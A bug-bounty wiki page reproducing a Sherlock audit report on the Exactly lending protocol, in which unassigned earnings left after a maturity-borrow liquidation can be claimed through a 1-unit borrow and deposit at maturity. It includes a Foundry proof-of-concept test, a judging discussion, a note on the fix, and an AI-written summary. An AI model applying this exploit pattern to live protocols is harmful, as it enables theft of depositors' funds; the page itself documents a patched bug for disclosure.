Unassigned pool earnings can be stolen when a maturity borrow is liquidated by depositing at maturity with 1 principal
When a borrowed maturity is liquidated, unassigned earnings are not converted to the earnings accumulator, leaving them claimable. An attacker can borrow and deposit at maturity with a principal of 1 to capture all these unassigned rewards.
00xSEV Follow with 0x73696d616f, Trumpero and 1 other
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/114
Found by
00xSEV, 0x73696d616f, Trumpero, ether_sky
Summary
When a borrowed maturity is liquidated, canDiscount in Market::noTransferRepayAtMaturity() is false, which ignores the unassigned earnings. Thus, an attacker may borrow and deposit at maturity with a principal of 1 and get all these unassigned rewards.
Vulnerability Detail
On Market::liquidate(), borrowed maturities will be liquidated first by calling Market::noTransferRepayAtMaturity(), passing in the canDiscount variable as false, so unassigned earnings in the pool will not be converted to earningsAccumulator and subtracted to actualRepayAssets. Following the liquidation, these unassigned earnings will be converted over time to floatingAssets, in pool.accrueEarnings(maturity); on deposit, borrow and repay maturities. Or, in case floatingBackupBorrowed > 0, the next user to deposit a maturity will partially or fully claim the fee, depending on how much deposit they supply. In case floatingBackupBorrowed == 0, and supply is 0, the user may borrow at maturity 1 principal and then deposit at maturity 1 principal, claiming the full fee. If supply is not 0, the user would have to borrow at maturity until the borrow amount becomes bigger than the supply, which would be less profitable (depending on the required borrowed), but still exploitable.
The following POC added to test Market.t.sol shows how an attacker can claim a liquidated borrowed maturity fee with just 1 principal of deposit.
function test_POC_stolenBorrowedMaturityEarnings() public {
uint256 maturity = FixedLib.INTERVAL;
uint256 assets = 10_000 ether;
ERC20 asset = market.asset();
deal(address(asset), ALICE, assets);
vm.startPrank(ALICE);
// ALICE deposits
market.deposit(assets, ALICE);
// ALICE borrows at maturity, using backup from the deposit
market.borrowAtMaturity(maturity, assets/10, type(uint256).max, ALICE, ALICE);
// ALICE borrows the maximum possible using floating rate
(uint256 collateral, uint256 debt) = auditor.accountLiquidity(address(ALICE), Market(address(0)), 0);
uint256 borrow = (collateral - debt)*8/10; // max borrow capacity
market.borrow(borrow, ALICE, ALICE);
vm.stopPrank();
skip(1 days);
// LIQUIDATOR liquidates ALICE, wiping ALICE'S maturity borrow
// and ignores its unassigned rewards
address liquidator = makeAddr("liquidator");
vm.startPrank(liquidator);
deal(address(asset), liquidator, assets);
asset.approve(address(market), assets);
market.liquidate(ALICE, type(uint256).max, market);
vm.stopPrank();
// ATTACKER deposits to borrow at maturity
address attacker = makeAddr("attacker");
deal(address(asset), attacker, 20);
vm.startPrank(attacker);
asset.approve(address(market), 20);
market.deposit(10, attacker);
// ATTACKER borrows at maturity, making floatingBackupBorrowed = 1 > supply = 0
market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);
// ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
// by only providing 1 principal
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
assertEq(positionAssets, 6657534246575341801);
}
Impact
Attacker steals the unassigned earnings from the liquidation of a borrowed maturity with 1 principal.
Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L244 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L293 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L375 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L478 https://github.com/sherlock-aaccrueudit/2024-04-interest-rate-model-0x73696d616f/blob/main/protocol/contracts/Market.sol#L508 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L565 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/utils/FixedLib.sol#L84
Tool used
Manual Review
Vscode
Foundry
Recommendation
Instead of ignoring unassigned earnings on liquidations, convert them to earningsAccumulator, which should not be able to be gamed as it goes through an over time accumulator.
Discussion
santipu03
@itofarina @cruzdanilo
Could you add also the will fix/won't fix tag?
santipu03
@santichez Could you add the will fix or won't fix tag?
Dliteofficial
Invalid
@santipu03 I dont think this issue is valid. When a user deposits at maturity, the possibility of getting a reward is dependent on whether there is floatingBackUpBorrowed or not and how much he gets is dependent on how much of the floating backup borrowed is paid back when he deposits in that fixed rate pool, how then will 1 principal deposit receive all the pool's unassigned earnings?
0x73696d616f
@Dliteofficial please go through the POC.
Dliteofficial
Yes, I did that. I beleive my comment stands, and goes to the nexus of your finding which is that the unassigned earning can be stolen with 1 principal.
0x73696d616f
how then will 1 principal deposit receive all the pool's unassigned earnings?
This is literally in the POC.
Dliteofficial
If you are referring to this place in the POC:
// ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
// by only providing 1 principal
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
assertEq(positionAssets, 6657534246575341801);
I see that, I am saying, when deposit at maturity is called, the fee is calculated in FixedLib::calculateDeposit() and in there, the fee is calculated as a fraction of the backup borrowed repaid.
If that's not what you are referring to, please let me know
0x73696d616f
Here
// ATTACKER borrows at maturity, making floatingBackupBorrowed = 1 > supply = 0
market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);
// ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
// by only providing 1 principal
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
assertEq(positionAssets, 6657534246575341801);
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/exactly/protocol/pull/721
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the liquidation path calls noTransferRepayAtMaturity with canDiscount set to false, which skips converting unassigned earnings to the earnings accumulator, leaving them available for a later depositor to claim.
Impact
Attacker steals the unassigned earnings from the liquidation of a borrowed maturity with 1 principal.
What the attacker needed
A borrowed maturity is liquidated; attacker has a small amount of assets; floatingBackupBorrowed > 0 or supply is 0
The fix
The protocol team fixed this issue by converting unassigned earnings to the earnings accumulator during liquidations.
How it was found
- Alice deposits assets and borrows at maturity using backup from the deposit.
- Alice borrows the maximum possible using floating rate.
- After one day, a liquidator liquidates Alice, wiping her maturity borrow and ignoring its unassigned rewards.
- Attacker deposits 10 and borrows at maturity 1, making floatingBackupBorrowed = 1 > supply = 0.
- Attacker deposits just 1 at maturity, claiming all the unassigned earnings.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this lending protocol, when a borrower is liquidated, some fees (called unassigned earnings) are left in the pool. Normally these fees are slowly distributed to depositors. The bug is that during liquidation these fees are not properly accounted for, so an attacker can make a tiny deposit and borrow to claim all those fees for themselves.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.